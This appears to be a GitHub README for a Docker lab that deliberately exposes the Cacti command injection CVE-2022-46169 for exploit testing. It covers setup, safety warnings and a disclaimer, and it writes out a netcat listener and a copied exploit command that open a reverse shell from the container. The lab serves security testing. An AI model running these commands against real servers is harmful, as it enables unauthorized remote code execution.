m3ssap0/cacti-rce-cve-2022-46169-vulnerable-applicationWARNING: This is a vulnerable application to test the exploit for the Cacti command injection (CVE-2022-46169). Run it at your own risk!
This is a vulnerable application to test the exploit for the Cacti vulnerability (CVE-2022-46169).
This application contains serious security vulnerabilities. Run it at your own risk! It is recommended using a backed-up and sheltered environment (such as a VM with a recent snapshot and host-only networking). Do not upload this application to any Internet facing servers, as they will be compromised.
DISCLAIMER: I do not take responsibility for the way in which any one uses this application. The only purpose of this application is to be a test scenario for the CVE-2022-46169 exploit and it should not be used maliciously. If your server is compromised via an installation of this application it is not my responsibility, it is the responsibility of the person(s) who uploaded and installed it.
Here the steps to the environment:
docker compose up -d to start composition.admin/admin.The container will be called vuln-cacti.
To teardown the environment use docker compose down command.
The official installation guide of Cacti can be found here.
A detailed root cause of the vulnerability is available here.
A public exploit is available on Exploit-DB. It has been copied under the exploit/ folder for simplicity.
To run it:
nc -lvp 6669
./exploit/exploit.py -u http://127.0.0.1/cacti/ -i host.docker.internal -p 6669
host.docker.internal is used to reach the host machine from the container (reference).There is also an entry in vulhub repository.
This project is licensed under the Unlicense - see the LICENSE file for details.